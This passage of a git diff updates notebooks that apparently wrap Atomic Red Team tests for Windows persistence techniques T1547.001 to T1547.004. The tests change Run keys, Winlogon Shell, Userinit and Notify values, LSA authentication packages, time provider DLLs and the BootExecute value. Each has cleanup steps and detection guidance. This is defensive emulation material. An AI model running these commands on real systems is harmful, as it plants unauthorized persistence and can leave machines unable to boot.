\"socks5_powershell\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7e289ee3", + "id": "b862d356", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "4b2859a4", + "id": "79ce902e", "metadata": {}, "source": [ "### Atomic Test #10 - Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value", @@ -340,28 +340,28 @@ { "cell_type": "code", "execution_count": null, - "id": "785c388b", + "id": "4986f758", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "ddced73d", + "id": "8c970029", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Common Startup\" -Value \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nRemove-Item \"$env:TMP\\atomictest\\\" -Recurse -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a34ad448", + "id": "defb21b2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "63757c91", + "id": "9a44e942", "metadata": {}, "source": [ "### Atomic Test #11 - Change Startup Folder - HKCU Modify User Shell Folders Startup Value", @@ -374,28 +374,28 @@ { "cell_type": "code", "execution_count": null, - "id": "fc1556e9", + "id": "140ee099", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "9e1da8b9", + "id": "bf07c502", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Startup\" -Value \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nRemove-Item \"$env:TMP\\atomictest\\\" -Recurse -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ef608f87", + "id": "1534425e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 11 -Cleanup" }, { "cell_type": "markdown", - "id": "db0fa6c1", + "id": "6218a8b6", "metadata": {}, "source": [ "### Atomic Test #12 - HKCU - Policy Settings Explorer Run Key", @@ -409,28 +409,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f4ed5ae4", + "id": "7ba5b707", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "064cdce0", + "id": "7196e6eb", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"atomictest\"```" }, { "cell_type": "code", "execution_count": null, - "id": "1a755702", + "id": "18138b75", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "3b8dacad", + "id": "0247e6d1", "metadata": {}, "source": [ "### Atomic Test #13 - HKLM - Policy Settings Explorer Run Key", @@ -444,28 +444,28 @@ { "cell_type": "code", "execution_count": null, - "id": "de44c1f5", + "id": "8dfbaabd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "2a93c3dd", + "id": "2d0e7b19", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"atomictest\"```" }, { "cell_type": "code", "execution_count": null, - "id": "30fd71b9", + "id": "d4c5d370", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 13 -Cleanup" }, { "cell_type": "markdown", - "id": "4d7839dd", + "id": "e134133a", "metadata": {}, "source": [ "### Atomic Test #14 - HKLM - Append Command to Winlogon Userinit KEY Value", @@ -479,28 +479,28 @@ { "cell_type": "code", "execution_count": null, - "id": "7ee3f923", + "id": "175e644f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "86f2583a", + "id": "8d6bee1d", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Userinit-backup');\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit\" -Value \"$oldvalue\";\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Userinit-backup'```" }, { "cell_type": "code", "execution_count": null, - "id": "8000d685", + "id": "552e1c97", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 14 -Cleanup" }, { "cell_type": "markdown", - "id": "36467f4a", + "id": "2a0028a0", "metadata": {}, "source": [ "### Atomic Test #15 - HKLM - Modify default System Shell - Winlogon Shell KEY Value ", @@ -514,28 +514,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3f4a2b2c", + "id": "b91afc76", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 15" }, { "cell_type": "markdown", - "id": "6593ad4a", + "id": "5ed1f380", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Shell-backup');\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\" -Value \"$oldvalue\";\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Shell-backup'```" }, { "cell_type": "code", "execution_count": null, - "id": "f36e5cd7", + "id": "d80b2db7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 15 -Cleanup" }, { "cell_type": "markdown", - "id": "e5814998", + "id": "838c240d", "metadata": {}, "source": [ "### Atomic Test #16 - secedit used to create a Run key in the HKLM Hive", @@ -543,34 +543,69 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nsecedit /import /db mytemplate.db /cfg $PathToAtomicsFolder\\T1547.001\\src\\regtemplate.ini\nsecedit /configure /db mytemplate.db\n```" + "```command_prompt\nsecedit /import /db mytemplate.db /cfg \"$PathToAtomicsFolder\\T1547.001\\src\\regtemplate.ini\"\nsecedit /configure /db mytemplate.db\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "95f56867", + "id": "012de314", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 16" }, { "cell_type": "markdown", - "id": "ce409e5e", + "id": "f294c05c", "metadata": {}, "source": "#### Cleanup: \n```cmd\nREG DELETE \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"calc\" /f >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "fba78fbf", + "id": "0fee013f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.001 -TestNumbers 16 -Cleanup" }, { "cell_type": "markdown", - "id": "d097ed5f", + "id": "f6975e42", + "metadata": {}, + "source": [ + "### Atomic Test #17 - Modify BootExecute Value", + "This test modifies the BootExecute registry value to \"autocheck autoche *\", which can be used to simulate an adversary's attempt to tamper with the system's boot process. \nReference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf\nNOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nif (!(Test-Path \"$PathToAtomicsFolder\\T1547.001\\src\\SessionManagerBackup.reg\")) { reg.exe export \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" \"$PathToAtomicsFolder\\T1547.001\\src\\SessionManagerBackup.reg\" /y }\nSet-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\" -Name \"BootExecute\" -Value \"autocheck autoche *\" -Type MultiString\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e3f66e31", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.001 -TestNumbers 17" + }, + { + "cell_type": "markdown", + "id": "dec60940", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nreg.exe import \"$PathToAtomicsFolder\\T1547.001\\src\\SessionManagerBackup.reg\"\nRemove-Item -Path \"$PathToAtomicsFolder\\T1547.001\\src\\SessionManagerBackup.reg\" -Force\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2ff17593", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.001 -TestNumbers 17 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "606c9ae2", "metadata": {}, "source": "## Detection\nMonitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." } @@ -578,13 +613,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.002.ipynb b/playbook/tactics/persistence/T1547.002.ipynb index 8831a7af..ba338b00 100644 --- a/playbook/tactics/persistence/T1547.002.ipynb +++ b/playbook/tactics/persistence/T1547.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "8e9512a7", + "id": "7c1cbfa6", "metadata": {}, "source": "# T1547.002 - Authentication Package\nAdversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded." }, { "cell_type": "markdown", - "id": "4c224f20", + "id": "82d273ee", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "69fdeed5", + "id": "69e43825", "metadata": {}, "source": [ "### Atomic Test #1 - Authentication Package", @@ -22,34 +22,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item $PathToAtomicsFolder\\T1547.002\\bin\\package.dll C:\\Windows\\System32\\\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\\0package.dll\" /f\n```" + "```powershell\nCopy-Item \"$PathToAtomicsFolder\\T1547.002\\bin\\package.dll\" C:\\Windows\\System32\\\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\\0package.dll\" /f\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0bfa6745", + "id": "675d6408", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "9465be4d", + "id": "3c6a37a3", "metadata": {}, "source": "#### Cleanup: \n```powershell\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\" /f\nrm -force C:\\windows\\system32\\package.dll\n```" }, { "cell_type": "code", "execution_count": null, - "id": "95dccdc0", + "id": "b3c49ebb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "54e6e8a2", + "id": "8014be65", "metadata": {}, "source": "## Detection\nMonitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)" } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.003.ipynb b/playbook/tactics/persistence/T1547.003.ipynb index 00bcfecc..67bc5fcb 100644 --- a/playbook/tactics/persistence/T1547.003.ipynb +++ b/playbook/tactics/persistence/T1547.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "c21f137c", + "id": "f591e545", "metadata": {}, "source": "# T1547.003 - Time Providers\nAdversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)" }, { "cell_type": "markdown", - "id": "8f123ba7", + "id": "1d5acde4", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b4f497d3", + "id": "9040045a", "metadata": {}, "source": [ "### Atomic Test #1 - Create a new time provider", @@ -22,34 +22,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nnet stop w32time\nCopy-Item $PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time\n```" + "```powershell\nnet stop w32time\nCopy-Item \"$PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll\" C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e5e8640a", + "id": "e7a18a3c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d851da3e", + "id": "692077d1", "metadata": {}, "source": "#### Cleanup: \n```powershell\nnet stop w32time\nreg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /f\nrm -force C:\\Users\\Public\\AtomicTest.dll\nnet start w32time\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4ca2142b", + "id": "3325be88", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "bc20c9ec", + "id": "8f5e902b", "metadata": {}, "source": [ "### Atomic Test #2 - Edit an existing time provider", @@ -57,34 +57,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nnet stop w32time\nCopy-Item $PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time\n```" + "```powershell\nnet stop w32time\nCopy-Item \"$PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll\" C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "6c392764", + "id": "9dd632d6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "f1aa958b", + "id": "6de64aae", "metadata": {}, "source": "#### Cleanup: \n```powershell\nnet stop w32time\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Windows\\SYSTEM32\\w32time.DLL\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"0\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"0\" /f\nrm -force C:\\Users\\Public\\AtomicTest.dll\nnet start w32time\n```" }, { "cell_type": "code", "execution_count": null, - "id": "246b3002", + "id": "2bb30b62", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "11b73f39", + "id": "81a298a4", "metadata": {}, "source": "## Detection\nBaseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)" } @@ -92,13 +92,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.004.ipynb b/playbook/tactics/persistence/T1547.004.ipynb index c3f83abd..602ba617 100644 --- a/playbook/tactics/persistence/T1547.004.ipynb +++ b/playbook/tactics/persistence/T1547.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "780f64e1", + "id": "4b1ec204", "metadata": {}, "source": "# T1547.004 - Winlogon Helper DLL\nAdversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence." }, { "cell_type": "markdown", - "id": "e865a329", + "id": "66052d9f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "15f53b66", + "id": "6f448f98", "metadata": {}, "source": [ "### Atomic Test #1 - Winlogon Shell Key Persistence - PowerShell", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "017a712c", + "id": "e03b25cf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "9b76e230", + "id": "d764fdfc", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Shell\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6d783668", + "id": "475f43c3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "eab4e69d", + "id": "3895cd32", "metadata": {}, "source": [ "### Atomic Test #2 - Winlogon Userinit Key Persistence - PowerShell", @@ -61,62 +61,62 @@ { "cell_type": "code", "execution_count": null, - "id": "0c4e9bc9", + "id": "9972f7e6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "b752eec6", + "id": "76d50d01", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Userinit\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4415d0f5", + "id": "b2dfca93", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "eac6ea90", + "id": "739dca03", "metadata": {}, "source": [ "### Atomic Test #3 - Winlogon Notify Key Logon Persistence - PowerShell", - "PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.\n\nUpon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon/logoff.\n", + "PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.\n\nUpon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon.\n\nPlease note that Winlogon Notifications have been removed as of Windows Vista / Windows Server 2008 and that this test thus only applies to erlier versions of Windows.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nNew-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" \"logon\" \"C:\\Windows\\Temp\\atomicNotificationPackage.dll\" -Force\n```" + "```powershell\nNew-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"DllName\" \"C:\\Windows\\Temp\\atomicNotificationPackage.dll\" -Type ExpandString -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Logon\" \"AtomicTestFunction\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Impersonate\" 1 -Type DWord -Force\nSet-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\AtomicRedTeam\" \"Asynchronous\" 0 -Type DWord -Force\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "4a6f4c21", + "id": "325053b0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "d85abac6", + "id": "501def20", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "54c7caca", + "id": "a9aac0c4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "2080bdae", + "id": "820ca2b1", "metadata": {}, "source": [ "### Atomic Test #4 - Winlogon HKLM Shell Key Persistence - PowerShell", @@ -129,28 +129,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5a14fff6", + "id": "ba5d88e1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "d22005aa", + "id": "a7164711", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Shell\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4b6185fd", + "id": "ef17fcbd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "7003d76b", + "id": "3a023697", "metadata": {}, "source": [ "### Atomic Test #5 - Winlogon HKLM Userinit Key Persistence - PowerShell", @@ -163,28 +163,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ea97ae37", + "id": "193aee2e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "38d6cd3d", + "id": "d9ab63c7", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" -Name \"Userinit\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9eeb1817", + "id": "d950a7b1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.004 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "1907fdda", + "id": "c67ddd59", "metadata": {}, "source": "## Detection\nMonitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." } @@ -192,13 +192,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", 